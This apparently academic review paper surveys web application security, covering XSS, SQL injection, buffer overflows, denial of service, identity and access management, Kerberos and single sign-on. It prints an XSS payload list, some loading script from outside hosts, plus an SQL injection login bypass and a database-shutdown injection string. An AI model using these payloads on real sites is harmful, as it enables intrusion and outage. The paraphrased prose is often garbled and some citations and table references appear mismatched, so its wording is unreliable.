A Review on the Security Mechanism for Web Data and Application in Distributed Network

Shyam Prasad Teegala[1], Dr. C V Guru Rao[2]
[1]*Research Scholar, Department of CSE, Osmania University*
[2]*Director, SR Engineering college, Warangal*

***Abstract*— Internet security is an important issue that can influence an extensive range of Internet users. People who utilize the Internet to trade, purchase and communicate need safe and secure communication. Therefore, web application security is an important and comprehensive deployment system, where current security relies principally on server-side methods. Web application security issues can arise in several ways, it is not only caused due to an inexperienced programmer, but also a coding and programming approach, as well as a language and structure for coding. This review paper presents areas of web data and application security to systematize existing technologies into big pictures that facilitate future research and development. First, it presents a unique aspect of web application security issues, and later presents a unique issue in the construction of protected web applications by presenting the most common web application vulnerabilities and various mechanisms for managing web application security. In conclusion, it reviews the papers studied in this field and discuss future research prospects.**

***Index Terms*— Web, Data Security, Application Security, Vulnerability, Distributed Network**

I. INTRODUCTION

The WWW has progressed from systems that provide static pages to platforms that support distributed applications recognized as Web Applications (WEB-APPL) and has happened to one of the mainly widely used technologies for providing information and services more than the Internet. With the proliferation of WEB-APPL, several factors can arise, such as "remote access", "cross-platform compatibility", "rapid development", etc. The development of this technology has improved the utilized experience of WEB-APPL, which has improved interaction and responsiveness. However, considering security in conditions of infrastructure technology has happened to a major concern for organizations and the general community.

WEB-APPL security has both "positive" and "negative" features in society. The requirement to enhance security and provide improved patterns is a product of the society itself, where hackers take their fraction and accordingly IT security professionals strive to enhance the level of security, the arrival of original technologies and the level of original work available. By some means, hackers added to society. Hacking and piracy in a moral manner are generally a concern. Security, like the entire platform, mostly depends on network security and OS and web server security configuration. However, these security aspects alone are not enough to keep data and applications safe, so there are many different methodologies, principles, and standards for effective security solutions in distributed networks today.

WEB-APPL is gradually more utilized to provide essential security facilities, as they have happened to an important objective for security attacks. Several WEB-APPL can work together with back-end database systems to accumulate responsive information (such as "financial" and "health"), and if the WEB-APPL is compromised, a large amount of information can be leaked, leading to serious economic loss and possible moral and legal consequences. According to Verizon Report [1], WEB-APPL is now the maximum quantity of violations and high extent of compromised data.

On the other hand, the currently widely used WEB-APPL improvement and testing framework provide restricted security uphold. Therefore, developing a secure WEB-APPL is a process lying to error and requires a lot of effort. This is unrealistic depending on the time required to market and maybe unrealistic for those who have inadequate security proficiencies or understanding. As an outcome, the proportion of

WEB-APPL published on the Internet is at higher risk. Inconsistent with information by the "WEB-APPL Security Association", about 49% of the WEB-APPL under review have major threats or vulnerabilities, and above 13% of websites are being hacked totally [2]. According to current information [3], over 80% of websites comprise a minimum of one severe vulnerability.

In response to the imperative requirement for WEB-APPL security, significant research attempts have been dedicated to this difficulty using several technologies proposed to solidify WEB-APPL and alleviate attacks. Many of these technologies assume web knowledge is being utilized in the application improvement and address merely one kind of security flaw. Their prototypes are frequently executed and estimated on inadequate proposals.

The practitioners speculate whether these procedures are appropriate for the much-needed security scenarios and whether these technologies can be enhanced or integrated if they are not directly applicable. Therefore, it is desirable and urgent to explore the root cause of poor WEB-APPL, discover links between current technologies, and provide a systematic framework for drawing a large depiction of recent research boundaries in this field. These frameworks assist both novel and qualified researchers for the superior reorganization of the WEB-APPL security issues, it evaluates current defenses, and draw inspiration from novel proposals and tendency. In this paper, we investigate the latest technologies in the field of WEB-APPL security to organize current technologies into large illustrations that encourage future research.

II. WEB APPLICATION SECURITY ISSUES

WEB-APPL has become one of the mainly significant communication channels among different service contributors and customers. It has progressed from static media with limited customer relations to interactive media that provides concurrent transactions and customized content to web pages. This active media app presents an extensive variety of services such as "online stores", "e-commerce" and "social networking services" [1]. As additional services are presents through the "WWW", "academia" and "industry create technologies and standards", that bring together the complex needs of today's enterprise WEB-APPL and its customers.

The vulnerability scenarios have changed dramatically as the WWW advanced from limited static HTML pages to a wide network of dynamic, interconnected WEB-APPL. Existing apps are written in unsafe low-level languages, while web apps are written using advanced types of secure languages like PHP and Python. The most common vulnerabilities in programs written in unsafe languages are memory errors such as buffer overruns. However, the risk of memory errors is mainly non-critical in WEB-APPL. Essentially because of the different weaknesses, you should study and mitigate them individually. Web vulnerabilities in desktop applications (such as "Microsoft Office") which are distributed as a "SaaS WEB-APPL", and the existing server applications (such as "POP3 mail servers") that are replaced by webmail gateways such as "Gmail", as the WEB-APPL model becomes more popular the security rate also raised in a similar pace.

According to the "Common Vulnerabilities and Exposures (CVE)" list, web vulnerabilities are more common than traditional memory errors [31]. Therefore, it is more important to mitigate web vulnerabilities caused by logical errors rather than errors related to low-level details such as the stack buffer length.

The "Authentication" and "Session management" have to be one of the major secure locations in a WEB-APPL. Of course, this is considered as one area where the attacker will be overlooked. The digital service industries like "Amazon.com" require buyers to make sure that the applications protect their transactions. Session management is done in conjunction with authentication. It is good that the log-in to an application has experienced frequent attacks, but if an attacker becomes important after authentication, then the site has another problem with weak authentication. It should ensure that consumers that their profile and login is protected [12].

Users can be used to validate users and to monitor their sessions to verify users, as can any other application's inadequately considered and executed the feature. Here are a few vectors of attack on these systems.

- SQL Injection – These attacks can gain access to someone who can't have the verification system.

- Introductory error messages provide a great deal of information - When they verify the validity of a website, it usually utilize two-thirds knowledge with user login credentials. The site that advises the users for these kinds of statements is wrong and providing part of the mystery.
- Brute force attacks – The attacker simply attempts to hit all the usernames and passwords again and again so that he can find the verification system. If a site encounters difficulty with preceding security vulnerability and does not acquire action on abusive attacks, this site is in difficulty.
- Weak Passwords – individuals don't be fond of passwords that are tough to memorize. It is difficult to estimate or consider the number of hacked applications because the attacker simply guessed the "password".
- Cookie Alteration – Online retailers want to make it easy for potential customers to create accounts where they can buy things. Unfortunately, the application developer puts a lot of identifying information within the session cookie and then doesn't confirm for changes. The attacker observes the new username within the cookie and revises it to somewhat else, making it another client of the application.

The authentication system is the gatekeeper. After putting them inside, make sure to monitor the application to make sure no one can modify characteristics. It is vital that these schemes are well considered out and applied. Customers of the website, especially those involved in business and banking, want their accounts to be secure and defended. If this confidence is not working, it can have an extremely indifferent impact on the site.

A. Cross-Site Scripting (XSS) Faults

XSS [3], [35] are called cross-site scripts and do not directly attack WEB-APPL. Instead, attackers can focus on WEB-APPL users. Applications that agree to site users to generate content are mainly are vulnerable. Social networking sites such as "MySpace" or "forum applications" should be familiar with this concern, and also the problems of input justification. For instance, an attacker could include "malicious Javascript" or other "dynamic code" in a post on a forum site. If the code is established as it is and demonstrated to forum users, it will be completed while viewing the page.

To prevent this, the attacker does not need to include all the code in a weak application, but it will include the specified code link, such as "<script src = Http://evil.hacker.net/ownedU.js/>". The loaded page and the attacked browser go to a remote site and gladly execute javascript. Now it is getting highly terrible. Some browsers execute scripts, IMG tags, stylesheet tags, or other tags unrelated to dynamic code, as browsers are as useful as possible and play as much code as possible. Below an example of XSS attacks has shown below.

```
";!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=&#0000106&#00000978&#0000118&#0000097&#0000115&#0000099&#0000114
&#0000105&#0000112&#0000116&#00000058&#0000097&#0000108&#0000101&#0000114
&#0000116&#0000040&#0000039&#00000888&#0000083&#0000083&#0000039&#0000041>
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
<A HREF="h
tt        p://6&#9:6.000146.0x7.147/">XSS</A>
```

B. Buffer Overflows

Buffer streams related to relations of invalid input vulnerabilities. This is a dreadful group of errors because the well-designed buffer overruns the permit random code implementation on the aiming system [13]. Buffer overflow takes place when an application writes data to a memory space that cannot be retained. It writes data to memory, fills in assigned memory and rewrites the address subsequently to the memory block. It may perhaps appear a bit similar to this:

A	A	A	A	A	A	A	A	B	B
0	0	0	0	0	0	0	0	0	3

It must name the variables "A" and "B" in this storage space. Here, "A" is a string variable that contains zero since it is not used on this occasion. The "B" has an integer as 3 is stored. So what takes place if somebody exceeds A's storage space? We might get this result as:

A	A	A	A	A	A	A	A	B	B
'e'	'x'	'c'	'e'	's'	's'	'i'	'v'	'e'	0

The "excessive" string fills variable A and also replaces variable B. In the final byte the variable "B" and "0" indicate the ending of the string. Now the difficulty is that if the app requires to interpret the value of "B", there is no more suitable data, and the "3" is now is "0". This can cause processes to stop or other unexpected results to continue. Buffer overruns

written to the stack can bypass unexpected behavior and desirably act on the attacker. For instance, the comeback pointer to the invoking function may be overwritten on the stack and specified an address space for malicious code. In exclusive of going back to the proper application implementation, the method goes to malicious code and runs as an alternative. This can basis of the aim host to unlock an association to the attacking host or a numeral of other results that the attacker wants.

In a WEB-APPL, the buffer overflow attack is probable to target the primary server process serving the application. PHP WEB-APPL is not the best place to look for buffer overruns. However, support for PHP or Apache may be the target of this attack. Therefore, for use in WEB-APPL, buffer overruns are usually an attack on the primary application on the server.

C. SQL Injection Flaws

Another destructive vulnerability stems from entry not being validated. What does an application do when somebody sets SQL code into the input field and transmits it to the server? Many WEB-APPL utilize databases to offer active data, accumulate account knowledge, and carry out several former processes. At a few points, the website should converse with the database, which indicates SQL injection [14] will commence.

For a common example, suppose a WEB-APPL requires authentication, and a malicious hacker rediscovers an accessible identity without creating an account. If it made some guesses and concluded that the user's SQL query would be something similar to "SELECT * FROM CUSTOMERS WHERE USERNAME = '$ user_variable' AND PASSWORD =' $ password_variable ' ".

Manually find a suitable username "jsprasad" in the app since the "Forgot Password" page provided with adequate knowledge to verify the presence of the account. So enter the subsequent on the login form :

Customer Name	jsprasad';--
Password	qwe891p

The resulting search query ends in "SELECT * FROM CUSTOMERS WHERE USERNAME = 'jsprasad'; -- and PASSWORD ='qwe891p' ". The query was run and found 'jsprasad'. But what happened subsequently was not expected. The database sees a semicolon, causing the number to end The primary part of the query. These "two dashes" are tags for remark, so the database will ignore the remaining of the query where passwords are evaluated. Found jsprasad, so the application logs in to the attacker and doesn't need to verify the password. Therefore, if the WEB-APPL does not ensure correctly entering the customer, it will simply reveal the data that should be confidential and protected.

D. Inappropriate Error Handling

How several instances have it browsed the site when the problem occurred and showed some kind of database error about "MySQL" or "Access"? This frustrating error message is a great facility for anyone who wants to take advantage of the application. In reality, they'll do every category of equipment that developers didn't think about, and hopefully, they'll get those emails. If they're really lucky, the icon used for the app to create troubleshooting information will still be there. This information can assist diagnose difficulties in the app, but they can, besides, facilitate attackers to diagnose vulnerable sites in the app [15]. In the example of the SQL entry above, bad guys were able to know the billing table structure due to an error message in the database. They didn't provide him any password; they just set up the table and gave sufficient information to straight his crime.

E. Denial of Service

If enough resources are allocated in a task, denial of service is a problem that can occur in any location. These attacks were able to be approved out in several diverse ways [13].

An attacker could enter "a'; shutdown; -- " in the search box to halt a database. SQL Statement informs the database about put off and any access to the website erstwhile stopped altogether. This kind of "DOS" is easier to preserve than the most common edition. In 2000, there be numerous articles about "denial of service" attacks that overwhelm websites such as "yahoo.com". These attacks usually aimed at network devices, such as "firewalls" or "routers".

Fortunately, network equipment has enhanced considerably and these attacks are not familiar. Lately, these attacks are often carried out by attackers on large networks that control infected systems. These networks are often called robot networks and

can be controlled remotely by attackers. It can be utilized for multiple principles, however in this case, the robot able to be specified orders to request specific resources on the website without fail. These requirements overcome the server so that it does not react to any rightful needs. Either it is excessively eventful, or the network bandwidth is fully used, or the "ISP" has closed the association to the aimed host since the bandwidth is too costly to be exhausted.

All this makes the service unusable. Attackers sometimes continue, until they are paid some sort of fee and the attack is closed. These attacks are hard to protect as the needs arrive from thousands of web hosts.

III. WEB APPLICATION VULNERABILITIES

WEB-APPL has happened to one of the generally significant channels of communication among different service sources and customers. It has developed from static media to extremely interactive dynamic media that perform simultaneous transactions and provide customized content. This dynamic media app provides an extensive variety of services such as "online stores", "e-commerce", "social networking services" [1], etc. Models that assemble the complex conditions of enterprise WEB-APPL and customers. Below some of the main weaknesses common to WEB-APPL [2].

Network security is a basic form of Internet send security that is used to block or filter data from unknown or suspicious sources [3] [4]. Several methods and techniques have been developed to deal with the on top of attacks. One general method to do this is to limit the various kind open communication ports on the server and limit incoming transmission to those protocols sustained by some open ports. In networks, firewalls [5] able to assist avoid hackers or malicious software (such as worms) [6] from accessing other computers over the network or the Internet. The complexity in firewalls is to distinguish among legal and illegal traffic. If the firewall is organized accurately, it can be a realistic structure of defense against exterior threats, as well as a few "denial-of-service (DoS)" attacks [7]. Despite the method used to recognize and defend attacks from the exterior of the network, there are still greater and additional precise threats that able to happen from inside the network. Therefore, host protection becomes an important task within the organization.

IV. WEB SECURITY MANAGEMENT

Traditionally, security is the responsibility of network engineers. They set up a firewall, implement access control lists for routers, and implement other network blocks. The system administrator is also involved in this procedure. The correct operating system vulnerabilities, impose server right to use restrictions and preserve server accessibility [16]. However, when it comes to WEB-APPL operation on the server, they have extremely inadequate knowledge of what the app does.

The increasing sophistication of corporate websites today increases the risk of a breach of computer security. Software vendors and hardware manufacturers are constantly improving their products to meet emerging needs. However, it is not only the technical weakness of the system that makes services weak [17]. There are two other aspects to consider: social engineering and identity management.

Social engineering can be considered the weakest link in the safety chain. For example, a user who asks to remember multiple logon pairs and password wants to jot down this sensitive information so that he does not forget [18]. To reduce social engineering problems, basic rules can be defined through employment contracts. An example of prohibiting blogging is to talk about company policies or have employees sign a statement.

The combination of identity management and access rights processing makes the security system more efficient. The next section will focus on identity management and issues that may arise when technical requirements in terms of security are not met.

A. Identity and Access Management

The term "identity" includes all information about a person's uniqueness. Identity is a term that identifies a person or thing. To ensure the identity of the individual when registering the system, the identity must be proven in an accurate way to prevent fraud in the future. This can be resolved by carrying guides such as a passport or personal ID. Once a person is registered as a valid user, verification can always rely on this officially recognized data. Identity

Management (IM) describes how to handle these processes [19].

When employees start working for the company, IM begins to enter all relevant personal information (such as name, social security number, department, position, and technical objects, such as network printer, operations, and internal procedures). IM is integrated with Access Management (AM) in Identity and Access Management (IAM), where AM describes the processes that users are allowed to perform in the system. AM can be done using a database with personal entries set at the beginning of a user employment relationship. In these context the information related to resources or location, such as reading and writing settings, application access, accounts, and printers [20] are given in Table-1.

Table-1: Lookup Table of Access Rights

Resource	Right	Subject
cn=Floor1, ou=printer	print	cn_user=JohnDoe, o=cern, c=ch
cn=AFS, ou=directory	read/write	cn_group=IT-DEP, o=cern, c=ch
cn=Root, ou=folder	write	cn_group=sysadmin, o=cern, c=ch
cn=Bldg_31, ou=rooms	enter	cn_user=JohnSmith, o=cern, c=ch

Table 2 is an example of the search table used to manage employee access and resource permissions. For example, on the first line, the user "John Doe" is a member of the group and can use the printer on the first floor. For this particular process, his rights are defined by printing. On the second line, all members of the directory "ITDEP" are given read and write access to the directory. In this case, a group is a logical group of members or groups that allow grouped identities.

Therefore, when a user wants to access a restricted service, the system delegation process will check if the user or the user's electronic group is allowed. Using the authentication method (such as writing credentials on the login screen), the IAM framework will validate the request. If an entry is set to the search schedule for the requested service, access is granted.

B. Authentication, Authorization, Accounting

The identity of the user must be "validated" to ensure that it is authentic and authentic. A process called Authentication, Authorization, and Accountability (AAA) describes these architectural guidelines and addresses requirements for identity and access management procedures [21].

Although these three parts are independent of one another, they are combined when combined and are considered important safety in a network environment [22]. The next section outlines this process.

(1). Authentication

Authentication is the first step to verify a user's identity when logging in to the system. This step should refer to the identity management database. The confidential login data provided to employees during registration is compared to the data in the search table, which stores personal information. This means that every user-initiated process has its own "tag" with the name of the applicant.

Authentication services were able to be executed in various ways. The most common method is to use the user pair/passphrase as the login process. As mentioned in the introduction to this section, this traditional approach has potential weaknesses (for example, writing passwords).

There are safer ways to verify a person's identity:

- Two-factor authentication (2FA) is an authentication process with multiple check procedures [23]. Standard user/password methods can be improved with additional electronic certificates, smart cards, device codes, and even biometrics to give users access. 2FA is divided into three basic features:
  - Something the client knows (e.g. a pin, key, password).
  - Something a client has (hardware token, smart card).
  - Something a client is (fingerprint, biometric information).

You must combine at least two of these factors to obtain two-factor authentication. The concepts of "owned property" and "things you know" are the most used authentication systems [23].

For example, use a one-time password (OTP) pin where the user wants to access a specific service. To log in, you must enter the user's known secret password and the random password in the token. The OTP token contains a pre-defined set of passwords, and the password is randomly selected by activating it. The user enters both the secret password and the generated token. The server authentication instance checks for these passwords against the same list specified by the token. If the unique password is

found and the user password matches the account entry, access is granted. After that, the OTP password will lose its validity [24].

- PKI [26] explains how to use "digital certificates", which are created, accumulated and allocated in the environment of the system. These "digital signatures" combine public keys and identities and can be used as separate certificates to authenticate users. In many public key infrastructure solutions, centralized services play the role of authentication. These services are called "certification authorities" (CA) or "registry authorities" (RA) and can be considered "trusted third parties" [12], [32].

PKI functions [25]:

- "Public Key Cryptography" is reliable for the creation, sharing and managing of cryptographic keys.
- "Certificate Issuance" the required instance, joins a "public key" with a private individual, organization or other entity.
- "Certificate Validation" verifies the subsistence and the authority of a trust relationship certificate.
- "Certificate Revocation" handles terminated certificates and manages Certificate Revocation Lists (CRL).

- "Kerberos" is a computer network authentication protocol that protects the flow of transport among servers and customers by checking each other's individuality. "Kerberos" uses symmetric key encryption and combines the advantages of CA [27]. It is based on a ticket responsible for proving the identity of the user. Kerberos [28] function:
  - The Key Distribution Center (KDC) manages the master database. Each entity in the network exchanges the keys with the KDC. If one entity wants to communicate with another entity, KDC creates a two-key session key and passes a session key ticket (Kerberos ticket) to the contact partner. Both parties have been verified to establish contact.
  - Authentication Server (AS) authenticates the entities in a network environment.
  - Ticket granting Server (TGS) supports authentication without password re-entry.
  - Ticket cache stores authentication tickets during the session. This step is important for single sign-on solutions that operate through ticketing services.

(2). Authorization

The authorization part of the Triple AAA Procedure determines how resources are kept. Delegation is part of the login routine where the identity has been verified and the authentication process has passed. It can be considered as a set of pre-defined policies to describe the capabilities of authenticated users in the system [22]. The system administrator maintains these policies and is often referred to as ACLs.

If the user wants to access a resource, the token or ticket mechanism checks the user's unique identifier against the access list to prove his validity. The license can be achieved through the system (original functions of the operating system) or a compatible application. User-defined entities for access lists can be defined as reading/write permissions for files, directories, accounts, and physical access to rooms, buildings, or archives. Session related entries (for example, "Access only during business hours") can be moderated in an ACL license.

(3). Accounting

The billing framework is responsible for tracking user behavior in the information system; it is the action log (which, when, where and where) the user has logged in. In terms of handling incidents, traceability is a key component. In recent years, this process has become more and more perfect. Previous accounting systems can only track user access to specific systems. Today, the process able to record individual list items and even database units [29].

C. Authentication, Authorization, Accounting

Today, various platforms are available to facilitate our work in computer-aided environments. At the start of a typical working day, the first thing the user needs to do is to start the workstation and log into the operating system. After this process, a large number of sessions and launching programs are conducted. This may include logging in to e-mail programs, terminal services, external databases, and management applications, all of which require

connection to multiple password request services. Even if you leave your computer for a coffee break, you'll need to unlock your desktop lock later by entering a password.

This wide range of systems brings a large number of username/password pairs. In many cases, the credentials are presented as a password when running the application, and because people forget things easily, these credentials are recorded in reminders or other insecure media that anyone can access.

When managing the user environment, the workload increases with the number of implemented applications. These systems often have their user accounts and authentications. There is often a lack of a consistent authentication strategy or a reliable authentication framework [30].

The idea of a single sign-on (SSO) platform [31] addresses this problem with only one central account database and a login process to handle authentication transactions for different software systems. Access Control handles many related but standalone applications. Users can log in to a single system and access all applications in an SSO (trust circle) environment without having to be prompted to log in again when changing platforms.

Ideally, the applicant only has one user name and can access all network resources with just one identity check. The inverse process is called a singular exit. With one click, the user can log out of each open platform called during the session.

In general, SSO solutions benefit by facilitating user functions, and by avoiding many credentials, they close potential security vulnerabilities or reduce security vulnerabilities. Most importantly, it is easy to manage. Group privileges can be changed quickly, or new users can access all systems with one entry in the database. Conversely, actions that exclude or prevent users from trusting can be done in seconds.

There are advantages and disadvantages to changing the operating system by introducing new mechanisms. Before installing a new system, it must be evaluated to see if there is any final benefit. The following outlines the advantages SSO [30]:

- Improved user productivity.
- Simple administration.
- One unique central account database.
- One authentication process per session.
- Reduce "password fatigue2".
- Multiple applications, portals, systems.
- User group management for authorization.
- Reduce labor and monetary costs.

Public access can also be considered a negative feature. This could be a point of interest for hackers (1 attack point). Another negative effect is the need to adapt existing systems. This is likely related to additional costs.

Several countermeasures have been build up to protect WEB-APPL and preserve beside attacks against WEB-APPL. These techniques deal with many security features and copy them into specific security conditions/strategy (explicit or implicit) that will be imposed at dissimilar stages of the WEB-APPL life cycle.

The modern world is full of big data. As data is distributed in different networks by distributed systems, security becomes the most important problem in these systems. Data is distributed across public networks, so data and other resources may be compromised. Information security is an important issue that must be analyzed to identify security requests, find vulnerabilities or potential threats, and avoid information loss [4].

V. CONCLUSION

The users to trust and depend on the system, the variety of property of the computer system have to be guarded against damage and not permitted access. Since there is no single control point and utilization of insecure networks for data communication, enhancing security in distributed systems is further complicated than centralized systems. Identity verification, access control, authentication, data confidentiality, data integrity, digital signature, etc. are in-depth research methods and the use of secure distributed systems. This article reviews the latest search results in the security of WEB-APPL. It describes the distinctive features of WEB-APPL advancement and identifies the essential security features that secure WEB-APPL. Future research will focus on mitigating the challenges associated with WEB-APPL attacks through the key exchange, single sign-on mechanisms, and mechanisms that enhance control over access to personal data through a reliable computer mechanism.

REFERENCES

[1] Verizon 2010 Data Breach Investigations Report, "http://www.verizonbusiness.com/ resources/reports/rp 2010-data-breach-report en xg.pdf".

[2] Web Application Security Statistics, "http://projects.webappsec.org/w/page/13246989 / WebApplication/ SecurityStatistics".

[3] L. Qi, Q. He, F. Chen, W. Dou, S. Wan, X. Zhang, X. Xu, "Finding All You Need: Web APIs Recommendation in Web of Things Through Keywords Search", IEEE Transactions on Computational Social Systems, Vol. 6, Issue: 5, 2019.

[4] G. Toffetti, S. Comai, J. C. Preciado, M. Linaje, "State-of-the-Art and trends in the Systematic Development of Rich Internet Applications", Journal of Web Engineering, Vol. 10(1), pp. 70-86, 2011.

[5] M. Liu, B. Zhang, W. Chen, X. Zhang, "A Survey of Exploitation and Detection Methods of XSS Vulnerabilities", IEEE Access, Vol. 7, 2019.

[6] Web Application Security Consortium (WASC), "http://projects.webappsec.org/w/page/ 13246989/Web-Application Security Statistics/".

[7] P. Nunes, I. Medeiros, J. C. Fonseca, N. Neves, M. Correia, M. Vieira, "Benchmarking Static Analysis Tools for Web Security", IEEE Transactions on Reliability, Vol. 67, Issue: 3, 2018.

[8] N. B. Seghir, O. Kazar, "A new framework for web service discovery in distributed environments", 1st International Conf. on Embedded & Distributed Systems (EDiS), 2017.

[9] S. Liang, Y. Zhang, B. Li, X. Guo, C. Jia, Z. Liu, "Secure web: Protecting sensitive information through the web browser extension with a security token", Tsinghua Science and Technology, Vol. 23, Issue: 5, 2018.

[10] W. Yang, E. Aghasian, S. Garg, D. Herbert, L. Disiuta, B. Kang, "A Survey on Blockchain-Based Internet Service Architecture: Requirements, Challenges, Trends, and Future", IEEE Access, Vol. 7, 2019.

[11] T. A. Ahanger, A. Aljumah, "Internet of Things: A Comprehensive Study of Security Issues and Defense Mechanisms", IEEE Access, Vol. 7, 2019.

[12] L. Zhang, D. Zhang, C. Wang, J. Zhao, Z. Zhang, "ART4SQLi: The ART of SQL Injection Vulnerability Discovery", IEEE Transactions on Reliability, Vol. 68, Issue: 4, 2019.

[13] Q. Do, B. Martini, and K.-K. R. Choo, "The role of the adversary model in applied security research", Computer Security, vol. 81, pp. 156-181, Mar. 2019.

[14] M. Eirinaki, M. D. Louta, and I. Varlamis, "A trust-aware system for personalized user recommendations in social networks", IEEE Trans. Syst., Man, Cybern., System, vol. 44, no. 4, pp. 409-421, Apr. 2014.

[15] A. Praseed, P. S. Thilagam, "DDoS Attacks at the Application Layer: Challenges and Research Perspectives for Safeguarding Web Applications", IEEE Communications Surveys & Tutorials, Vol. 21, Issue: 1, 2019.

[16] X. Xie, C. Ren, Y. Fu, J. Xu, J. Guo, "SQL Injection Detection for Web Applications Based on Elastic-Pooling CNN", IEEE Access, Vol. 7, 2019.

[17] G. Agosta, A. Barenghi, A. Parata, and G. Pelosi, "Automated security analysis of dynamic Web applications through symbolic code execution", In Proc. 9th Int. Conf. Inf. Technol.-New Generation, pp. 189-194, 2012.

[18] D. Mitropoulos, P. Louridas, M. Polychronakis, A. D. Keromytis, "Defending Against Web Application Attacks: Approaches, Challenges, and Implications", IEEE Transactions on Dependable and Secure Computing, Vol. 16, Issue: 2, 2019.

[19] P. Cigoj, B. J. Blazic, "An Intelligent and Automated WCMS Vulnerability-Discovery Tool: The Current State of the Web", IEEE Access, Vol. 7, 2019.

[20] J. Bau and J. C. Mitchell, "Security modeling and analysis", IEEE Security & Privacy, vol. 9, no. 3, pp. 18-25, 2011.

[21] SearchSecurity.com, "Identity Management", https://searchsecurity.techtarget.com/ definition/ identity-management-ID-management (10.12.2019).

[22] M. Uddin, S. Islam, A. Al-Nemrat, "A Dynamic Access Control Model Using Authorising

Workflow and Task-Role-Based Access Control", IEEE Access, Vol. 7, 2019.
[23] SearchSecurity.com, "Authorization, Authentication, Accounting (AAA)". https://searchsecurity.techtarget.com/definition/authentication-authorization-and-accounting (10.12.2019)
[24] S. Karumanchi and A. C. Squicciarini, "A large scale study of Web service vulnerabilities", Journal Internet Service Inf. Secure, vol. 5, no. 1, pp. 53-69, 2015.
[25] Topbits.com. "Two Factor Authentication", http://www.topbits.com/two-factor-authentication.html (2010).
[26] RSA Security, One Time Password, ftp://ftp.rsasecurity.com/pub/otps/kerberos/draft-ietf-krb-wg-otp-preauth-10.html.
[27] L. Shklar and R. Rosen, "Web Application Architecture, Principles, Protocols and Practices", Second Edition, Wiley Publication, 2012.
[28] J. Weise, "Public Key Infrastructure, Overview", Sun Microsystems, Inc., July 2005.
[29] MIT Kerberos. http://web.mit.edu/ kerberos/www/ (2010).
[30] C. Neumann, "Kerberos: An Authentication Service for Computer Networks", IEEE Technical Report , Vol. 32 (9), pp. 33-38, 1994.
[31] Topbits.com, "Accounting", http://www. topbits. com/ accounting.html (2010).
[32] Developer Tutorials. "Single Sign-On", http://www.developertutorials.com/tutorials/java/ single-sign-on/page7.html.
[33] G. Wang, J. Yu, Q. Xie, "Security Analysis of a Single Sign-On Mechanism for Distributed Computer Networks", IEEE Transactions on Industrial Informatics, Vol. 9, Issue: 1, 2013.
[34] H. Al-Hamadi, I.-R. Chen, J.-H. Cho, "Trust Management of Smart Service Communities", IEEE Access, Vol. 7, 2019.
[35] M. Joo, W. Lee, "WebProfiler: User Interaction Prediction Framework for Web Applications", IEEE Access, Vol. 7, 2019.
[36] L. K. Shar, L. C. Briand, and H. B. K. Tan, "Web application vulnerability prediction using hybrid program analysis and machine learning", IEEE Trans. Dependable Secure Computing, vol. 12, no. 6, pp. 688-707, 2015.
[37] Hydara, A. Sultan, H. Zulzalil, and N. Admodisastro, "Cross-site scripting detection based on an enhanced genetic algorithm", Indian J. Sci. Technol., vol. 8, no.30, pp. 1-5, 2015.
[38] OWASP Foundation, "The Ten Most Critical Web Application Security Risks". http://www.owasp.org/index.php/Top_10 [2019].
[39] M. Cova, V. Felmetsger, and G. Vigna, "Vulnerability Analysis of Web Applications", In Testing and Analysis of Web Services, Springer, 2007
[40] J.Weinberger, P. Saxena, D. Akhawe, M. Finifter, R. Shin, and D. Song, "A Systematic Analysis of XSS Sanitization in Web Application Frameworks", In Proc. of 16th European Symposium on Research in Computer Security, 2011.
[41] V. Felmetsger, L. Cavedon, C. Kruegel, and G. Vigna, "Toward Automated Detection of Logic Vulnerabilities in Web Applications", In Proceedings of the 19th USENIX Security Symposium, 2010.
[42] Y.-W. Huang, S.-K. Huang, T.-P. Lin, C.-H. Tsai, "Web Application Security Assessment by Fault Injection and Behavior Monitoring", 12th International ACM Conference on World Wide Web, pp. 148-159, 2003.
[43] Miao, Fei, Quanyan Zhu, Miroslav Pajic, and George J. Pappas. "Coding schemes for securing cyber-physical systems against stealthy data injection attacks", IEEE Transactions on Control of Network Systems, Vol. 4(1), pp. 106-117, 2017
[44] J. Fonseca,N. Seixas, M. Vieira, and H. Madeira, "Analysis of Field Data on Web Security Vulnerabilities", IEEE Transaction on dependable and secure computing, vol. 11(2), 2014.